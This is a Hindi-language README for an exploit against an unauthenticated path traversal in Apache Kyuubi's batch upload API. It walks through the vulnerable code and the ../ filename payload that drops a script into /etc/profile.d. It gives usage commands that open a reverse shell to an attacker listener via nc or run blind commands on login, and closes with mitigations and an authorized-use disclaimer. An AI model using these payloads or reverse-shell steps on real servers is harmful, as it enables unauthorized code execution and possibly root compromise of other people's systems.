
Apache Kyuubi पाथ ट्रैवर्सल (CVE-2026-52680) के लिए एक्सप्लॉइट जो profile.d शेल स्क्रिप्ट के माध्यम से बिना प्रमाणीकरण के मनमाना फ़ाइल लेखन और कोड निष्पादन प्राप्त करता है।
Apache Kyuubi के REST API में, multipart बैच-सबमिशन एंडपॉइंट के माध्यम से, बिना प्रमाणीकरण के मनमाना फ़ाइल लेखन संभव है।
POST /api/v1/batches (multipart/form-data) resourceFile भाग को क्लाइंट-द्वारा प्रदान किए गए फ़ाइलनाम का उपयोग करके $KYUUBI_HOME/work/upload/<batchId>/ में लिखता है, बिना किसी पाथ-ट्रैवर्सल जाँच के (kyuubi-common Utils.writeToTempFile):
val filePath = Paths.get(dir.toString, s"$prefix-$identifier$suffix") // no normalize()/containment
Files.copy(source, filePath, StandardCopyOption.REPLACE_EXISTING)
एक ../ फ़ाइलनाम अपलोड निर्देशिका से बाहर निकल जाता है → Kyuubi प्रोसेस उपयोगकर्ता के रूप में मनमानी-निर्देशिका फ़ाइल लेखन (CWE-22) होता है। Kyuubi डिफ़ॉल्ट रूप से kyuubi.authentication=NONE के साथ आता है, इसलिए यह एंडपॉइंट बिना प्रमाणीकरण है।
1.7.0 – 1.11.11.12.0 (filePath.normalize().startsWith(dir.normalize()) containment जोड़ता है)10099 (REST फ्रंटएंड, authentication=NONE होने पर बिना प्रमाणीकरण)writeToTempFile एक्सटेंशन से पहले -<yyyyMMddHHmmss>-<counter> जोड़ता है, इसलिए आप गंतव्य निर्देशिका, एक्सटेंशन और सामग्री को नियंत्रित करते हैं, लेकिन सटीक बेसनाम को नहीं। यह सटीक-नाम अधिलेखन (~/.ssh/authorized_keys, /etc/crontab, ~/.bashrc) को तोड़ देता है — इसके बजाय ऐसे स्थान को लक्षित करें जो ग्लोब द्वारा निष्पादित होता है।
यह एक्सप्लॉइट /etc/profile.d/pwn.sh ड्रॉप करता है → यह /etc/profile.d/pwn-<ts>-<n>.sh के रूप में संग्रहीत होता है, जो फिर भी /etc/profile.d/*.sh से मेल खाता है और हर लॉगिन शेल द्वारा source किया जाता है (कोई execute बिट आवश्यक नहीं)। यह उस उपयोगकर्ता के रूप में चलता है जो लॉगिन शेल खोलता है — रूट, यदि Kyuubi रूट के रूप में चलता है और रूट लॉगिन होता है (जैसे ssh root@host, su -, या क्रोन bash -lc)।
केवल Python 3 मानक पुस्तकालय — कोई निर्भरता नहीं।
# reverse shell (start a listener first: nc -lvnp 4444). Fires on the next login shell.
python3 exploit.py http://10.10.10.10:10099/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:10099/ -c 'id > /tmp/pwned'
जब कोई Spark बैकएंड मौजूद नहीं होता है तो अपलोड HTTP 500 (Error opening batch session) लौटाता है — यह अपेक्षित और हानिरहित है: फ़ाइल बैच लॉन्च होने से पहले लिखी जाती है।
दो multipart भाग:
batchRequest (JSON) {"batchType":"SPARK","resource":"x","className":"x","name":"pwn"} — एक न्यूनतम मान्य BatchRequest ताकि सत्यापन पास हो जाए और अपलोड सिंक तक पहुँचा जा सके।resourceFile, फ़ाइलनाम ../../../../../../etc/profile.d/pwn.sh, बॉडी = पेलोड। Kyuubi इसे (बेसनाम-विकृत रूप में) /etc/profile.d/pwn-<ts>-<n>.sh पर लिखता है।फिर एक लॉगिन शेल /etc/profile.d/*.sh को source करता है और पेलोड को निष्पादित करता है।
curl -s http://10.10.10.10:10099/api/v1/ping # Kyuubi REST responds (no auth)
पोर्ट 10099 पर authentication=NONE के साथ एक Kyuubi REST फ्रंटएंड शोषण योग्य (exploitable) है।
Apache Kyuubi ≥ 1.12.0 में अपग्रेड करें, प्रमाणीकरण (kyuubi.authentication) सक्षम करें, REST गेटवे को अविश्वसनीय नेटवर्कों पर कभी उजागर न करें, और Kyuubi को रूट के रूप में न चलाएँ।
केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए। इसका उपयोग केवल उन्हीं प्रणालियों पर करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति है।